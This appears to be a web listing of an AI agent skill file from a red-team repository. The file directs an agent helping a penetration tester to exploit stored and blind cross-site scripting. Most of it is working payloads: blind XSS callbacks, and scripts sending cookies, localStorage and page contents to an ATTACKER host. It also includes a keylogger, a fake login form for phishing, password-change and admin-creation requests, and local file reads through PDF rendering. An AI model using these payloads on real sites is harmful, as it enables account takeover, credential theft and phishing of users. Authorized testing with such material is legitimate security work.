Xss stored

From blacklanternsecurity/red-run · View interactive version

Xss stored is an AI agent skill from the GitHub repository blacklanternsecurity/red-run. Guide stored (persistent) and blind XSS exploitation during authorized penetration testing.

How to use this skill

Skill file

Stored & Blind XSS

You are helping a penetration tester exploit stored (persistent) cross-site

scripting. The target application saves user input and renders it unsafely on

subsequent page loads, affecting other users who view the content. Blind XSS is

a variant where the payload fires in a context the attacker cannot directly

observe (admin panel, support ticket viewer, log dashboard). All testing is

under explicit written authorization.

Engagement Logging

Check for ./engagement/ directory. If absent, proceed without logging.

When an engagement directory exists:

descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).

State Management

Call get_state_summary() from the state MCP server to read current

engagement state. Use it to:

Your return summary must include:

Web Interaction

(e.g., check for DOM modifications, cookie exfiltration callbacks)

rendering

Prerequisites

Step 1: Assess

If not already provided, determine:

  1. Storage point — where is input saved? (comment, profile field, ticket, filename, etc.)
  2. Render point — where is the stored input displayed? (same page, different page, admin panel)
  3. Render context — HTML body, attribute, JavaScript block, email template?
  4. Who sees it — same user only (self-XSS), other users, admins?

Skip if context was already provided.

Step 2: Identify Storage and Render Context

Submit a canary like xss<>"' to the storage point, then inspect where and how

it renders.

Common storage → render pairs:

| Storage Point | Render Point | Impact |

|---|---|---|

| Comment/post body | Public page | All visitors |

| User profile / display name | Profile page, admin user list | Other users, admins |

| Support ticket | Admin ticket viewer | Admin (blind XSS) |

| File upload filename | File listing page | Other users |

| Referer / User-Agent header | Analytics dashboard, admin logs | Admin (blind XSS) |

| Form field (address, bio) | Invoice, PDF export, email | Varies |

Step 3: Stored XSS Payloads

Use console.log() instead of alert() for stored XSS — avoids popup fatigue

on every page load while testing.

Basic payloads (try simple first):

<script>console.log('XSS:'+document.domain)</script>
<img src=x onerror=console.log('XSS:'+document.domain)>
<svg onload=console.log('XSS:'+document.domain)>

When <script> is stripped but event handlers work:

<img src=x onerror=alert(document.domain)>
<details open ontoggle=alert(document.domain)>
<video src=_ onloadstart=alert(document.domain)>
<body onload=alert(document.domain)>

When tags are stripped but attributes survive (injection inside existing tag):

" autofocus onfocus=alert(document.domain) "
' onmouseover=alert(document.domain) '

In rich text / WYSIWYG editors:

<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
<iframe srcdoc="<script>alert(1)</script>">

In file upload filenames:

"><img src=x onerror=alert(document.domain)>.png
<svg onload=alert(1)>.svg

In email / notification templates (if HTML email is sent):

<img src="https://ATTACKER/pixel?c=" onerror="this.src+='err'">

Step 4: Blind XSS

When you can inject input but cannot see where it renders (admin panels, support

dashboards, log viewers).

Setup Callback Infrastructure

XSS Hunter (self-hosted or trufflesecurity):

"><script src="https://js.rip/YOUR_ID"></script>
"><script src=//YOUR_SUBDOMAIN.xss.ht></script>

Custom callback (Python one-liner):

# Start listener
python3 -m http.server 8080

Custom payload (sends page context to attacker):

<script>
fetch('https://ATTACKER:8080/blind', {
  method: 'POST',
  mode: 'no-cors',
  body: JSON.stringify({
    url: location.href,
    cookie: document.cookie,
    dom: document.body.innerHTML.substring(0, 2000),
    localStorage: JSON.stringify(localStorage)
  })
});
</script>

Common Blind XSS Injection Points

Blind XSS Payload Tips

Step 5: Demonstrate Impact

Cookie theft:

<script>new Image().src='https://ATTACKER/steal?c='+document.cookie</script>

Session hijacking:

<script>fetch('https://ATTACKER',{method:'POST',mode:'no-cors',body:document.cookie})</script>

Account takeover via password change CSRF:

<script>
fetch('/api/change-password', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({password: 'hacked123'})
});
</script>

Admin action CSRF (create new admin via stored XSS):

<script>
fetch('/admin/create-user', {
  method: 'POST',
  headers: {'Content-Type': 'application/x-www-form-urlencoded'},
  body: 'username=hacker&password=Passw0rd!&role=admin'
});
</script>

Keylogger:

<img src=x onerror='document.onkeypress=function(e){fetch("https://ATTACKER?k="+String.fromCharCode(e.which))},this.remove();'>

UI redressing / phishing:

<script>
history.replaceState(null,null,'/login');
document.body.innerHTML='<h1>Session expired</h1><form action=https://ATTACKER/phish method=POST><input name=user placeholder=Username><input name=pass type=password><button>Login</button></form>';
</script>

Step 6: Self-XSS Escalation

If the XSS only affects the injecting user (self-XSS), it may still be

exploitable:

Step 7: Escalate or Pivot

Report in your return summary: any new credentials, access, vulns, or pivot paths discovered.

When routing, pass along: storage point, render context, working payload, and CSP (if any).

OPSEC Notes

Troubleshooting

Payload Stored but Doesn't Execute

Rich Text Editor Strips Payloads

Blind XSS Not Firing

SVG File Upload XSS

<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)">
  <circle r="50"/>
</svg>

PDF Generation XSS (Server-Side)

If stored input is rendered into a PDF (wkhtmltopdf, Puppeteer):

<script>document.write(location)</script>
<iframe src="file:///etc/passwd">
<script>x=new XMLHttpRequest();x.open('GET','file:///etc/passwd');x.send();x.onload=function(){document.write(x.responseText)}</script>
Use this skill with your AI agent: Open on Skill Issue to copy, download, or add to your library. Works with Claude, ChatGPT, Gemini, Cursor, Windsurf and more.